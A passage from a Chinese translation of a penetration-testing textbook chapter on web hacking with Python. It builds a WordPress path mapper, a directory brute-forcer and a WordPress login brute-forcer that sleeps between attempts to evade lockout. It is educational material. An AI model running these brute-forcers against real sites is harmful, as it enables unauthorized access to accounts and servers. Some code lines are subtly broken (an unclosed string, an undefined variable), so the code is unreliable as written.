WEB HACKERY–WEB黑客
对任何攻击者或渗透测试者来说,分析web应用程序的能力是绝对关键的技能。在大多数现代网络中,web应用程序有着最大的攻击面,因此也是访问web应用程序本身的最常见途径。
您将发现许多用Python编写的优秀web应用程序工具,包括 w3af 和 sqlmap 。坦率地说,像SQL注入这样的topic已经被扼杀了,可用的工具已经足够成熟,我们不需要重新造轮子。相反,我们将探索使用Python与web交互的基础知识,然后在此基础上创建侦察和暴力工具。通过创建一些不同的工具,您应该会学习到构建特定攻击场景所需的任何类型的web应用程序评估工具所需的基本技能。
在本章中,我们将聚焦攻击web应用程序的三种场景。在第一种场景中,你知道目标使用的web工作框架,而这个框架恰好是开源的。一个web应用框架包含许多文件和嵌套式的目录。我们将创建一个大纲,在本地显示web应用程序的层次结构,并使用该信息定位活动目标上的真实文件和目录。
在第二个场景中,您只知道目标的URL,因此我们将通过使用单词列表来生成可能出现在目标上的文件路径和目录名的列表,从而暴力使用相同类型的映射。然后,我们将尝试连接到针对活动目标的可能路径的结果列表。
在第三个场景中,您知道目标及其登录页面的URL。我们将检查登录页面并使用单词列表暴力破解登录。
使用Web库
我们将从学习可以用于与web服务交互的库开始。在执行基于网络的攻击时,您可能使用自己的计算机或正在受攻击的网络中的计算机。如果您使用的是一台受损的机器,您将不得不使用现有的可能是只基本安装了一个Python 2.x或Python 3.x的设备。我们将看看在这些情况下使用标准库可以做什么。然而,在本章的其余部分,我们将假设您在攻击者的计算机上使用最新的软件包。
The urllib2 Library for Python 2.x
您将看到在为Python 2.x编写的代码中使用的 urllib2 库。它被绑定到标准库中。就像用于编写网络工具的 socket 库一样,人们使用 urllib2 库来创建与web服务交互的工具。让我们看一下代码,它是产生一个非常简单的GET请求到No Starch Press网站:
import urllib2
url = 'https://www.nostarch.com'
[1] response = urllib2.urlopen(url) # GET
[2] print(response.read())
response.close()
这是如何向网站发出GET请求的最简单的例子。我们将URL传递给 urlopen 函数[1],该函数返回一个类文件对象,该对象允许我们读取远程web服务器返回的内容[2]。因为我们只是从No Starch网站获取原始页面,所以没有执行JavaScript或其他客户端语言。
然而,在大多数情况下,您需要对如何发出这些请求进行更细粒度的控制,包括能够定义特定的头、处理cookie和创建POST请求。urllib2 库包含一个提供这种级别控制的 Request 类。下面的例子展示了如何使用Request 类和定义一个自定义的 User-Agent HTTP头来创建相同的GET请求:
import urllib2
url = "https://www.nostarch.com"
[1] headers = {'User-Agent': "Googlebot"}
[2] request = urllib2.Request(url,headers=headers)
[3] response = urllib2.urlopen(request)
print(response.read())
response.close()
Request 对象的构造与前面的示例略有不同。为了创建自定义的头,我们定义了一个 headers 字典[1],它允许我们之后设置想要使用的头的键和值。在本例中,我们将使我们的Python脚本看起来像是 Googlebot。然后创建我们的 Request 对象并传入 url 和 headers 字典[2],然后将 Request 对象传递给 urlopen 函数调用[3]。这将返回一个普通的类文件对象,我们可以使用该对象从远程网站读取数据。
(笔者注:Googlebot: Googlebot 是谷歌使用的搜索机器人软件,它从网络上收集文档,为谷歌搜索引擎建立一个可搜索的索引。)
The urllib Library for Python 3.x
Python 3.x的标准库提供了 urllib 包,它将 urllib2 包中的功能拆分到 urllib.Request 和 urllib.error 子包中。它还通过子包 urllib.parse 增加了url解析功能。
要使用此包发出HTTP请求,您可以使用 with 语句将请求编码为上下文管理器。得到的响应应该包含一个字节字符串。下面是如何发出GET请求的例子:
[1] import urllib.parse
import urllib.request
[2] url = 'http://boodelyboo.com'
[3] with urllib.request.urlopen(url) as response: # GET
[4] content = response.read()
print(content)
在这里,我们导入需要的包[1]并定义目标URL [2]。然后,使用 urlopen 类函数作为上下文管理器,我们发出请求[3]并读取响应[4]。
要创建POST请求,请将数据字典编码为字节传递给请求对象。这个数据字典应该具有目标web应用程序所期望的键-值对。在这个例子中,info 字典包含登录目标网站所需的凭据 (user, passwd):
info = {'user': 'tim', 'passwd': '31337'}
[1] data = urllib.parse.urlencode(info).encode() # data is now of type bytes
[2] req = urllib.request.Request(url, data)
with urllib.request.urlopen(req) as response: # POST
[3] content = response.read()
print(content)
我们对包含登录凭据的数据字典进行编码,使其成为一个字节对象[1],将其放入发送凭据的POST请求中[2],并接收web应用程序对登录尝试的响应[3]。
requests库
甚至官方Python文档也推荐在更高层级的HTTP客户端接口使用 requests 库。它不在标准库中,所以您必须安装它。下面是如何使用 pip 完成:
pip install requests
request 库非常有用,因为它可以自动为你处理cookie,正如你将在后面的每个例子中看到的,特别是在第85页的“Brute-Forcing HTML Form Authentication”中攻击 WordPress 站点的例子中。要发出HTTP请求,请执行以下操作:
import requests
url = 'http://boodelyboo.com'
response = requests.get(url) # GET
data = {'user': 'tim', 'passwd': '31337'}
[1] response = requests.post(url, data=data) # POST
[2] print(response.text) # response.text = string; response.content = bytestring
我们创建 url 、request 和一个包含 user 和 passwd 键的 data 字典。然后我们发布请求[1]并打印 text 属性(一个字符串)[2]。如果您更喜欢使用字节字符串,可以用从post返回的 content 属性。你将在85页的“Brute-Forcing HTML Form Authentication”中看到例子。
lxml和BeautifulSoup包
一旦有了HTTP响应,lxml 或 BeautifulSoup 包都可以帮助解析内容。在过去的几年里,这两个软件包变得更加相似;可以在 BeautifulSoup 包中使用 lxml 解析器,在 lxml 包中使用 BeautifulSoup 解析器。
您将看到使用其中一种的其他黑客的代码。lxml 包提供了稍微快速一点的解析器,而 BeautifulSoup 包具有自动检测目标HTML页面编码的功能。我们将在这里使用的是 lxml 包。用 pip 安装任意一个包:
pip install lxml
pip install beautifulsoup4
假设您将请求的HTML内容存储在一个名为 content 的变量中。使用 lxml ,你可以像下面这样检索内容和解析链接:
[1] from io import BytesIO
from lxml import etree
import requests
url = 'https://nostarch.com
[2] r = requests.get(url) # GET
content = r.content # content is of type 'bytes'
parser = etree.HTMLParser()
[3] content = etree.parse(BytesIO(content), parser=parser) # Parse into tree
[4] for link in content.findall('//a'): # find all "a" anchor elements.
[5] print(f"{link.get('href')} -> {link.text}")
我们从 io 模块导入 BytesIO 类[1],因为在解析HTTP响应时,我们需要它来把字节字符串用作文件对象。接下来,我们像往常一样执行GET请求[2],然后使用 lxml HTML解析器解析响应。解析器需要一个类文件对象或文件名。BytesIO 类使我们能够将返回的字节字符串内容作为类似文件的对象传递给 lxml 解析器[3]。我们使用一个简单的查询来查找返回内容中包含链接的所有 a (anchor) 标签并打印结果[4]。每个anchor标签定义一个链接。它的 href 属性指定了链接的URL。
请注意[5]这里实际完成编码的 f-strings 的使用。在Python 3.6及更高版本中,您可以使用 f-strings 创建包含括在大括号内的变量值的字符串。这允许您很轻松地做一些事情,比如在字符串中包含调用函数的结果(link.get(‘href’))或简单值(link.text)。
使用 BeautifulSoup ,您可以对此代码进行同样的解析。正如你所看到的,这种技术非常类似于我们上一个使用 lxml 的例子:
from bs4 import BeautifulSoup as bs
import requests
url = 'http://bing.com'
r = requests.get(url)
[1] tree = bs(r.text, 'html.parser') # Parse into tree
[2] for link in tree.find_all('a'): # find all "a" anchor elements.
[3] print(f"{link.get('href')} -> {link.text}")
语法几乎完全相同。我们将内容解析为一个树[1],遍历链接( a 或 anchor 的标签)[2],并打印目标( href 属性)和链接文本 ( link.text ) [3]。
如果您在一台受损的机器上工作,您可能会避免安装这些第三方包,以避免产生太多的网络噪音,因此您只能使用手边的任何东西,可能是一个基本的Python 2或Python 3安装。这意味着您将使用标准库(分别是 urllib2 或 urllib )。
在下面的示例中,我们假设您正在攻击机中,这意味着您可以使用 requests 包连接web服务器,并使用 lxml 解析您检索到的输出。
现在您已经拥有了与web服务和网站交互的基本方法,让我们为攻击任意web应用程序或渗透测试创建一些有用的工具。
映射开源Web应用程序的安装
内容管理系统(CMSs)和博客平台(如Joomla、WordPress和Drupal,它们使创建一个新的博客或网站变得简单),它们在共享托管环境甚至企业网络中相对常见。所有系统在安装、配置和补丁管理方面都有自己的挑战,这些CMS套件也不例外。当超负荷工作的系统管理员或倒霉的web开发人员没有遵守所有的安全和安装步骤时,攻击者很容易获得访问web服务器的机会。
因为我们可以下载任何开源web应用程序,并在本地确定它的文件和目录结构,所以我们可以创建一个专门构建的扫描器,它可以搜索远程目标上可访问的所有文件。这可以根除剩余的应该由 .htaccess 文件保护的安装文件和目录,以及其他可以帮助攻击者在web服务器上站稳脚跟的好东西。
这个部分还向您介绍了如何使用Python Queue 对象,它帮助我们构建一个大型的、线程安全的项目堆栈,并让多个线程挑选进行处理的项目。这将使我们的扫描器运行得非常快。此外,我们可以相信不会出现竞争条件,因为我们使用的是线程安全的队列,而不是列表。
映射WordPress框架
假设你知道你的目标web应用使用WordPress框架。让我们看看WordPress的安装是什么样的。下载并解压一个本地的WordPress副本。你可以通过https://wordpress.org/download/获取最新的版本。这里我们使用的是WordPress的5.4版本。尽管文件的布局可能与您的目标服务器不同,但它为我们提供了一个合理的起点,用于查找大多数版本中存在的文件和目录。
为了获得标准WordPress发行版中的目录和文件名的部署情况,我们创建一个名为 mapper.py 的新文件。让我们编写一个名为 gather_paths 的函数来遍历目录,将每个完整的文件路径插入到一个名为 web_paths 的队列中:
import contextlib
import os
import queue
import requests
import sys
import threading
import time
FILTERED = [".jpg", ".gif", ".png", ".css"]
[1] TARGET = "http://boodelyboo.com/wordpress"
THREADS = 10
answers = queue.Queue()
[2] web_paths = queue.Queue()
def gather_paths():
[3] for root, _, files in os.walk('.'):
for fname in files:
if os.path.splitext(fname)[1] in FILTERED:
continue
path = os.path.join(root, fname)
if path.startswith('.'):
path = path[1:]
print(path)
web_paths.put(path)
@contextlib.contextmanager
[4] def chdir(path):
"""
On enter, change directory to specified path.
On exit, change directory back to original.
"""
this_dir = os.getcwd()
os.chdir(path)
try:
[5] yield
finally:
[6] os.chdir(this_dir)
if __name__ == '__main__':
[7] with chdir("/home/tim/Downloads/wordpress"):
gather_paths()
input('Press return to continue.')
我们首先定义远程目标网站[1],并创建一个我们对文件指纹不感兴趣的文件扩展名列表。这个列表可以根据目标应用程序的不同而有所不同,但是在本例中,我们选择忽略图像和样式表文件。相反,我们的目标是HTML或文本文件,它们更可能包含对破坏服务器有用的信息。answers 变量是 Queue 对象,我们将在其中放置我们在本地定位的文件路径。web_paths 变量[2]是第二个 Queue 对象,我们将在其中存储试图在远程服务器上定位的文件。在 gather_paths 函数中,我们使用 os.walk 函数[3]遍历本地web应用程序目录中的所有文件和目录。当我们遍历这些文件和目录时,我们构建到目标文件的完整路径,并根据存储在 FILTERED 中的列表来测试它们,以确保我们只寻找我们想要的文件类型。对于我们在本地找到的每个有效文件,我们将其添加到 web_paths 变量的 Queue 中。
需要对 chdir 上下文管理器[4]做一些解释。上下文管理器提供了一种很酷的编程模式,特别是当您可能会健忘或需要记录太多内容并希望简化您的工作时。当你打开了某样东西需要关闭,锁上了某样东西需要打开,或者改变了某样东西需要重置时,你就会发现它们非常有用。您可能熟悉内置的文件管理器,如使用 open 来打开文件或用 socket 来使用套接字。
通常,通过创建具有__enter__和__exit__函数的类来构建上下文管理器。__enter__类函数返回需要管理的资源(如文件或套接字),而__exit__类函数执行清理操作(例如关闭文件)。
但是,在不需要太多控制的情况下,可以使用 @contextlib.contextmanager 创建一个简单的上下文管理器,将生成器函数转换为上下文管理器。
这个 chdir 函数使您能够在不同的目录中执行代码,并保证在退出时返回到原始目录。chdir 生成器函数通过保存原始目录并更改为新目录来初始化上下文,将控制权返回到 gather_paths [5],然后恢复到原始目录[6]。
注意,chdir 函数定义包含 try 和 finally 块。您经常会遇到 try/except 语句,但是 try/finally 对不太常见。无论抛出任何异常 finally 块总是会执行。我们在这里需要用到它,因为无论目录更改是否成功,我们都希望上下文恢复到原始目录。try 块的一个简单示例显示了在每种情况下会发生什么:
try:
something_that_might_cause_an_error()
except SomeError as e:
print(e) # show the error on the console
dosomethingelse() # take some alternative action
else:
everything_is_fine() # this executes only if the try succeeded
finally:
cleanup() # this executes no matter what
返回到映射代码,您可以在__main__块中看到,您在with语句[7]中使用了 chdir 上下文管理器,该语句使用要执行代码的目录名称调用生成器。在这个例子中,我们传递了解压WordPress ZIP文件的位置。这个位置在您的机器上是不同的;确保你传入自己的位置。输入 chdir 函数保存当前目录名,并将工作目录更改为函数参数指定的路径。然后,它将控制权返回到执行的主线程,也就是 gather_paths 函数运行的地方。一旦 gather_paths 函数运行完成,我们将退出上下文管理器,执行 finally 子句,工作目录将恢复到原始位置。
当然,您可以使用 os.chdir 手动执行,但是如果您忘记撤消更改,您将发现您的程序在一个意想不到的地方执行。通过使用新的 chdir 上下文管理器,您可以知道您正在正确的上下文中自动工作,并且当您返回时,您又回到了以前的位置。您可以在实用程序中保留此上下文管理器功能,并在其他脚本中使用它。花时间编写像这样的整洁的、方便理解的实用函数以后会有收获的,因为您将会反复使用它们。
执行该程序,沿着WordPress分布层次结构向下走,并查看打印到控制台的完整路径:
(bhp) tim@kali:~/bhp/bhp$ python mapper.py
/license.txt
/wp-settings.php
/xmlrpc.php
/wp-login.php
/wp-blog-header.php
/wp-config-sample.php
/wp-mail.php
/wp-signup.php
--snip--
/readme.html
/wp-includes/class-requests.php
/wp-includes/media.php
/wp-includes/wlwmanifest.xml
/wp-includes/ID3/readme.txt
--snip--
/wp-content/plugins/akismet/_inc/form.js
/wp-content/plugins/akismet/_inc/akismet.js
Press return to continue.
现在我们的 web_paths 变量的 Queue 充满了要检查的路径。您可以看到我们获得了一些有趣的结果:本地WordPress安装中存在的文件路径,我们可以对一个活跃的目标WordPress应用程序进行测试,包括其中的 .txt、.js 和 .xml 文件。当然,您可以在脚本中构建额外的智慧功能,只返回您感兴趣的文件,例如包含单词 install 的文件。
测试活跃目标
现在已经有了WordPress文件和目录的路径,是时候对它们进行一些操作了——即测试远程目标,看看本地文件系统中找到的哪些文件实际上被安装到了目标上。这些文件是我们在后期可以攻击的,用于强制登录或调查错误配置。让我们将 test_remote 函数添加到 mapper.py 文件中:
def test_remote():
[1] while not web_paths.empty():
[2] path = web_paths.get()
url = f'{TARGET}{path}'
[3] time.sleep(2) # your target may have throttling/lockout.
r = requests.get(url)
if r.status_code == 200:
[4] answers.put(url)
sys.stdout.write('+')
else:
sys.stdout.write('x')
sys.stdout.flush()
test_remote 函数是映射器的主要部分。它在一个循环中运行,该循环将一直执行,直到 web_paths 变量的Queue为空[1]。在循环的每次迭代中,我们从 Queue [2]获取一条路径,将其添加到目标网站的基本路径,然后尝试检索它。如果我们获得成功(由响应代码200指示),我们将该URL放入 answers 队列中[4],并在控制台上编写一个+。否则,我们在控制台上写一个x并继续循环。
如果你用请求轰炸一些web服务器,它们就会把你锁在外面(即禁止访问)。这就是为什么我们要用 time.sleep 在每个请求之间等待2秒[3],这可能会降低我们的请求速度,从而绕过锁定规则。
一旦您知道了目标如何响应,您就可以删除写入控制台的行,但是当您第一次接触目标时,在控制台中写入那些+和x字符有助于您理解运行测试时发生的事情。
最后,我们编写 run 函数作为映射应用程序的入口点:
def run():
mythreads = list()
[1] for i in range(THREADS):
print(f'Spawning thread {i}')
[2] t = threading.Thread(target=test_remote)
mythreads.append(t)
t.start()
for thread in mythreads:
[3] thread.join()
run 函数调用刚刚定义的函数来安排协调映射过程。我们启动10个线程(在脚本开头定义)[1],并让每个线程运行 test_remote 函数[2]。然后等待所有10个线程完成(使用 thread.join ),然后返回[3]。
现在,我们可以通过向__main__块添加更多的逻辑来完成。用更新后的代码替换文件原来的__main__块:
if __name__ == '__main__':
[1] with chdir("/home/tim/Downloads/wordpress"):
gather_paths()
[2] input('Press return to continue.')
[3] run()
[4] with open('myanswers.txt', 'w') as f:
while not answers.empty():
f.write(f'{answers.get()}\n')
print('done')
在调用 gather_paths 之前,我们使用上下文管理器 chdir 导航到正确的目录[1]。我们在那里添加了一个暂停,以便在继续之前查看控制台输出[2]。现在,我们已经从本地安装中收集了有趣的文件路径。然后针对远程应用程序运行主映射任务[3],并将结果写入文件。我们可能会得到一堆成功的请求,当我们将成功的URL打印到控制台时,结果可能过得太快,我们无法跟上。为了避免这种情况,添加一个块将结果写入文件[4]。请注意打开文件的上下文管理器的类函数。这保证了当块结束时文件关闭。
Kicking the Tires
作者保留了一个站点(boodelyboo.com/)为了测试用,这就是我们在本例中所要做的。对于您自己的测试,您可以创建一个站点来进行测试,或者您可以将WordPress安装到您的Kali VM中。请注意,您可以使用任何可以快速部署或已经运行的开源web应用程序。当你运行 mapper.py 时,你应该看到如下输出:
Spawning thread 0
Spawning thread 1
Spawning thread 2
Spawning thread 3
Spawning thread 4
Spawning thread 5
Spawning thread 6
Spawning thread 7
Spawning thread 8
Spawning thread 9
++x+x+++x+x++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++
当进程运行结束时,在新文件 myanswers.txt 中列出了搜索成功的路径。
暴力破解目录和文件位置
前面的示例假定您对目标有很多了解。但是,当你攻击一个定制的web应用程序或大型电子商务系统时,你通常不会知道web服务器上可访问的所有文件。通常,您将部署一个爬虫工具,比如Burp Suite中包含的爬虫工具,来抓取目标网站,以便尽可能多的挖掘分析web应用程序。但是在很多情况下,您将希望获得配置文件、剩余的开发文件、调试脚本和其他可以提供敏感信息或泄露软件开发人员不希望的功能的安全breadcrumbs(面包碎屑,猜测指代细节)。发现这些内容的唯一方法是使用暴力破解工具来查找常见的文件名和目录。
我们将构建一个简单的工具,从通用的暴力破解工具获取单词列表,比如 gobuster (https://github.com/OJ/gobuster/)和 SVNDigger (https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/),并试图探测目标web服务器的目录和文件。您可以在互联网上找到许多可用的单词列表,并且在您的Kali 发行版中已经有相当多的单词列表(参见 /usr/share/wordlists )。对于本例,我们将使用SVNDigger中的列表。SVNDigger的文件获取方法如下:
cd ~/Downloads
wget https://www.netsparker.com/s/research/SVNDigger.zip
unzip SVNDigger.zip
当您解压缩此文件时,文件 all.txt 将位于 Downloads 目录中。
与前面一样,我们将创建一个线程池,以积极地尝试发现内容。让我们首先编写一些从单词列表文件中获取 Queue 的功能函数。打开一个新文件,命名为 bruter.py ,并输入以下代码:
import queue
import requests
import threading
import sys
AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"
EXTENSIONS = ['.php', '.bak', '.orig', '.inc']
TARGET = "http://testphp.vulnweb.com"
THREADS = 50
WORDLIST = "/home/tim/Downloads/all.txt"
def get_words(resume=None):[1]
[2] def extend_words(word):
if "." in word:
words.put(f'/{word}')
else:
[3] words.put(f'/{word}/')
for extension in EXTENSIONS:
words.put(f'/{word}{extension}')
with open(WORDLIST) as f:
[4] raw_words = f.read()
found_resume = False
words = queue.Queue()
for word in raw_words.split():
[5] if resume is not None:
if found_resume:
extend_words(word)
elif word == resume:
found_resume = True
print(f'Resuming wordlist from: {resume}')
else:
print(word)
extend_words(word)
[6] return words
get_words 辅助函数[1]返回我们将在目标上测试的单词队列,它包含一些特殊的技术。我们读入单词列表文件[4],然后开始遍历文件中的每一行。然后我们将 resume 变量设置为暴力破解尝试的最后一个路径[5]。该功能允许我们在网络连接中断或目标站点宕机时恢复用于破解的网络会话。当我们解析了整个文件后,我们返回一个全是单词的 Queue ,传递给用于真实的暴力破解的功能函数[6]。
注意,这个函数有一个内部函数 extend_words [2]。内部函数是定义在另一个函数内部的函数。我们可以在 get_words 之外编写它,但是因为 extend_words 总是在 get_words 函数的上下文中运行,所以我们将它放在里面,以便保持命名空间整洁并使代码更容易理解。
这个内部函数的目的是在发出请求时应用一个扩展列表进行测试。在某些情况下,您不仅想尝试 /admin 扩展,例如,还想尝试 admin.php 、 admin.inc 和 admin.html [3]。在这里讨论一些开发人员以后可能会在常规编程语言扩展之上使用但忘记删除的常见扩展,比如 .orig 和 .bak ,这些是很有用的。extend_words 内部函数使用以下规则提供了这种功能:如果单词包含一个点(.),我们将把它附加到URL(例如, /test.php );否则,我们将把它当作目录名(例如 /admin/ 。
无论哪种情况,我们都将每个可能的扩展添加到结果中。例如,如果我们有两个单词,test.php 和 admin ,我们将把以下额外的单词放入单词队列:
/test.php.bak, /test.php.inc, /test.php.orig, /test.php.php
/admin/admin.bak, /admin/admin.inc, /admin/admin.orig, /admin/admin.php
现在,让我们来编写暴力破解的主功能函数:
def dir_bruter(words):
[1] headers = {'User-Agent': AGENT}
while not words.empty():
[2] url = f'{TARGET}{words.get()}'
try:
r = requests.get(url, headers=headers)
[3] except requests.exceptions.ConnectionError:
sys.stderr.write('x');sys.stderr.flush()
continue
if r.status_code == 200:
[4] print(f'\nSuccess ({r.status_code}: {url})')
elif r.status_code == 404:
[5] sys.stderr.write('.');sys.stderr.flush()
else:
print(f'{r.status_code} => {url}')
if __name__ == '__main__':
[6] words = get_words()
print('Press return to continue.')
sys.stdin.readline()
for _ in range(THREADS):
t = threading.Thread(target=dir_bruter, args=(words,))
t.start()
dir_bruter 函数接受一个 Queue 对象,该对象中填充了我们在 get_words 函数中准备的单词。我们在程序开始时定义了一个 User-Agent 字符串,用于HTTP请求,这样我们的请求看起来就像来自正常用户的普通请求一样。我们将该信息添加到 header 变量[1]中。然后循环遍历 word 队列。对于每个迭代,我们创建一个URL,用它向目标应用程序请求[2],并将请求发送到远程web服务器。
这个函数将一些输出直接打印到控制台,一些输出打印到 stderr 。我们将使用这种技术以一种灵活的方式表示输出。它使我们能够显示输出的不同部分,这取决于我们想看到什么。
(笔者注:stderr:【unix】标准输出(设备)文件,对应终端的屏幕。进程将从标准输入文件中得到输入数据,将正常输出数据输出到标准输出文件,而将错误信息送到标准错误文件中。—百度百科)
如果能知道我们得到的任何连接错误[3]就太好了;当这种情况发生时,打印一个 x 到 stderr。否则,如果成功(状态为200),将完整的URL打印到控制台[4]。您也可以创建一个队列并将结果放在那里,就像我们上次所做的那样。如果得到404响应,则向 stderr 输出一个点(.),然后继续[5]。如果我们得到任何其他响应代码,我们也打印URL,因为这可能表明远程web服务器上有一些有趣的东西。(也就是说,除了“文件未找到”的错误之外。)关注您的输出情况是很有用的,因为根据远程web服务器的配置,您可能必须过滤掉额外的HTTP错误代码,以清理您的结果。
在 __main__ 块中,我们获得单词列表以暴力破解[6],然后产生一堆线程来执行破解。
Kicking the Tires
OWASP有一个易受攻击的web应用程序列表,包括在线和离线的,比如虚拟机和磁盘映像,您可以针对这些应用程序测试工具。在本例中,源代码中引用的URL指向 Acunetix 托管的一个故意设有缺陷的web应用程序。攻击这些应用程序最酷的地方在于,它向您展示了暴力破解的有效性。
我们建议您将 THREADS 变量设置为正常的值,比如5,然后运行脚本。值过低将花费很长时间运行,而值过高则会使服务器超载。很快,你就会看到如下结果:
(bhp) tim@kali:~/bhp/bhp$ python bruter.py
Press return to continue.
--snip--
Success (200: http://testphp.vulnweb.com/CVS/)
...............................................
Success (200: http://testphp.vulnweb.com/admin/).
.......................................................
因为您使用sys.stderr写入 x 和点(.)字符,所以如果您只想看到成功情况,调用脚本并将 stderr 重定向到/dev/null,以便只有你找到的文件显示在控制台上:
python bruter.py 2> /dev/null
Success (200: http://testphp.vulnweb.com/CVS/)
Success (200: http://testphp.vulnweb.com/admin/)
Success (200: http://testphp.vulnweb.com/index.php)
Success (200: http://testphp.vulnweb.com/index.bak)
Success (200: http://testphp.vulnweb.com/search.php)
Success (200: http://testphp.vulnweb.com/login.php)
Success (200: http://testphp.vulnweb.com/images/)
Success (200: http://testphp.vulnweb.com/index.php)
Success (200: http://testphp.vulnweb.com/logout.php)
Success (200: http://testphp.vulnweb.com/categories.php)
请注意,我们正在从远程网站提取一些有趣的结果,其中一些可能会让您感到惊讶。例如,你可能会发现超负荷工作的web开发人员留下的备份文件或代码片段。那个 index.bak 文件里会有什么?有了这些信息,您就可以删除可能为您的应用程序造成危害的文件。
暴力HTML表单验证
在你的网络黑客生涯中可能会有这样一段时间,你需要访问目标,或者,如果你正在查询,评估现有网络系统的密码强度。web系统对使用暴力破解的保护变得越来越普遍,无论是验证码、简单的数学方程,还是必须与请求一起提交的登录令牌。有许多强力的暴力破解工具可以利用登录脚本执行POST请求,但在很多情况下,它们不够灵活,无法处理动态内容或简单的“您是真人吗?”的检查。
我们将创建一个简单的破解工具,将对广泛流行的内容管理系统WordPress有用。现代的WordPress系统包括一些基本的反暴力破解技术,但默认情况下仍然缺少帐户锁定或强验证码。
为了破解使用WordPress,我们的工具需要满足两个要求:它必须在提交密码尝试之前从登录表单中检索隐藏的令牌,并且必须确保我们在HTTP会话中接受cookie。远程应用程序在第一次接触时设置一个或多个cookie,并期望在登录尝试时返回这些cookie。为了解析登录表单值,我们将使用第74页“the lxml and BeautifulSoup Packages”中介绍的 lxml 包。
让我们先看看WordPress登录表单。你可以通过浏览 http://<yourtarget>wp-login.php/ 找到它。您可以使用浏览器的工具“查看源代码”来查找HTML结构。以Firefox浏览器为例,选择“Tools/工具-Web Developer/开发者工具-Inspector/检查”。为了简洁起见,我们只包含了相关的表单元素:
<form name="loginform" id="loginform"
[1] action="http://boodelyboo.com/wordpress/wp-login.php" method="post">
<p>
<label for="user_login">Username or Email Address</label>
[2] <input type="text" name="log" id="user_login" value="" size="20"/>
</p>
<div class="user-pass-wrap">
<label for="user_pass">Password</label>
<div class="wp-pwd">
[3] <input type="password" name="pwd" id="user_pass" value="" size="20" />
</div>
</div>
<p class="submit">
[4] <input type="submit" name="wp-submit" id="wp-submit" value="Log In" />
[5] <input type="hidden" name="testcookie" value="1" />
</p>
</form>
通过阅读这个表单,我们了解了一些有价值的信息,我们需要将这些信息整合到我们的破解脚本中。第一个是将表单作为HTTP POST [1]提交到 /wp-login.php 路径。下面的元素的所有字段是为了表单提交能成功: log [2]是代表用户名、pwd [3]变量是密码, wp-submit [4]是 submit 按钮的变量,和 testcookie [5]是一个测试 cookie 的变量。注意,这个输入在表单中是隐藏的。
当您使用表单进行连接时,服务器还会设置几个cookie,并期望在您发布表单数据时能再次接收它们。这是WordPress反暴力破解技术的基本部分。站点根据您当前的用户会话检查cookie,因此即使您将正确的凭据传递给登录处理脚本,如果cookie不存在,身份验证也将失败。当普通用户登录时,浏览器自动存储cookie。我们必须在暴力破解程序中复制这种行为。我们将使用 requests 库的 Session 对象自动处理这些cookie。
我们将在我们的破解脚本中依赖于以下的请求流,以成功地对抗WordPress:
- 检索登录页面并接受返回的所有cookie。
- 从HTML中解析出所有表单元素。
- 将用户名和/或密码设置为从我们的字典中猜测的。
- 向登录处理脚本发送一个HTTP POST请求,包括所有HTML表单字段和存储的cookie。
- 测试看看我们是否已经成功地登录到web应用程序。
Cain & Abel 是一个仅适用于 Windows 的密码恢复工具,它包含一个名为 Cain.txt 的用于强制破解密码的大单词列表。让我们用这个文件来猜测密码。你可以直接从 Daniel Miessler 的 GitHub 仓库 SecLists 下载:
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Software/ cain-and-abel.txt
顺便说一下,SecLists 也包含很多其他的单词列表。为了您未来的黑客工程项目,我们鼓励您浏览它的报告。
您将可以看到,我们将在这个脚本中使用一些新的和有价值的技术。我们还将提到,永远不要在活跃目标上测试工具;始终使用已知凭据设置目标web应用程序的安装,并验证是否获得了所需的结果。让我们打开一个新Python文件命名为 wordpress_killer.py ,并输入以下代码:
from io import BytesIO
from lxml import etree
from queue import Queue
import requests
import sys
import threading
import time
[1] SUCCESS = 'Welcome to WordPress!'
[2] TARGET = "http://boodelyboo.com/wordpress/wp-login.php"
WORDLIST = '/home/tim/bhp/bhp/cain.txt'
[3] def get_words():
with open(WORDLIST) as f:
raw_words = f.read()
words = Queue()
for word in raw_words.split():
words.put(word)
return words
[4] def get_params(content):
params = dict()
parser = etree.HTMLParser()
tree = etree.parse(BytesIO(content), parser=parser)
[5] for elem in tree.findall('//input'): # find all input elements
name = elem.get('name')
if name is not None:
params[name] = elem.get('value', None)
return params
这些设置通用的值得解释一下。TARGET 变量[2]是脚本最先下载和用于解析HTML内容的URL。SUCCESS 变量[1]是一个字符串,我们将在每次暴力破解尝试后在响应内容中检查它,以确定我们是否成功。
get_words 函数[3]看起来应该很熟悉,因为我们在第82页的“暴力破解目录和文件位置”中使用了类似的破解方式。get_params 函数[4]接收HTTP响应内容,解析它,并循环遍历所有输入元素[5],以创建一个需要我们填充的参数字典。现在让我们为破解工具创建管道;下面的一些代码与前面的暴力破解程序中的代码很相似,因此我们只重点介绍最新的技术。
class Bruter:
def __init__(self, username, url):
self.username = username
self.url = url
self.found = False
print(f'\nBrute Force Attack beginning on {url}.\n')
print("Finished the setup where username = %s\n" % username)
def run_bruteforce(self, passwords):
for _ in range(10):
t = threading.Thread(target=self.web_bruter, args=(passwords,))
t.start()
def web_bruter(self, passwords):
[1] session = requests.Session()
resp0 = session.get(self.url)
params = get_params(resp0.content)
params['log'] = self.username
[2] while not passwords.empty() and not self.found:
time.sleep(5)
passwd = passwords.get()
print(f'Trying username/password {self.username}/{passwd:<10}')
params['pwd'] = passwd
[3] resp1 = session.post(self.url, data=params)
if SUCCESS in resp1.content.decode():
self.found = True
print(f"\nBruteforcing successful.")
print("Username is %s" % self.username)
print("Password is %s\n" % brute)
print('done: now cleaning up other threads. . .')
这是我们的主要 brute-forcing 类,它将处理所有HTTP请求和管理cookie。执行暴力登录攻击的 web_bruter 函数的工作分三个阶段进行。
在初始化阶段[1]中,我们从 requests 库初始化一个 Session 对象,它将自动为我们处理cookie。然后,我们发出检索登录表单的初始请求。获得原始HTML内容后,将其传递给 get_params 函数,该函数解析参数的内容并返回所有检索到的表单元素的字典。成功解析HTML之后,我们将替换 username 参数。现在我们可以开始循环我们的密码猜测。
在循环阶段[2]中,我们先休眠几秒钟以试图绕过帐户锁定。然后从队列中弹出一个密码,并使用它完成参数字典的填充。如果队列中没有更多的密码,线程退出。
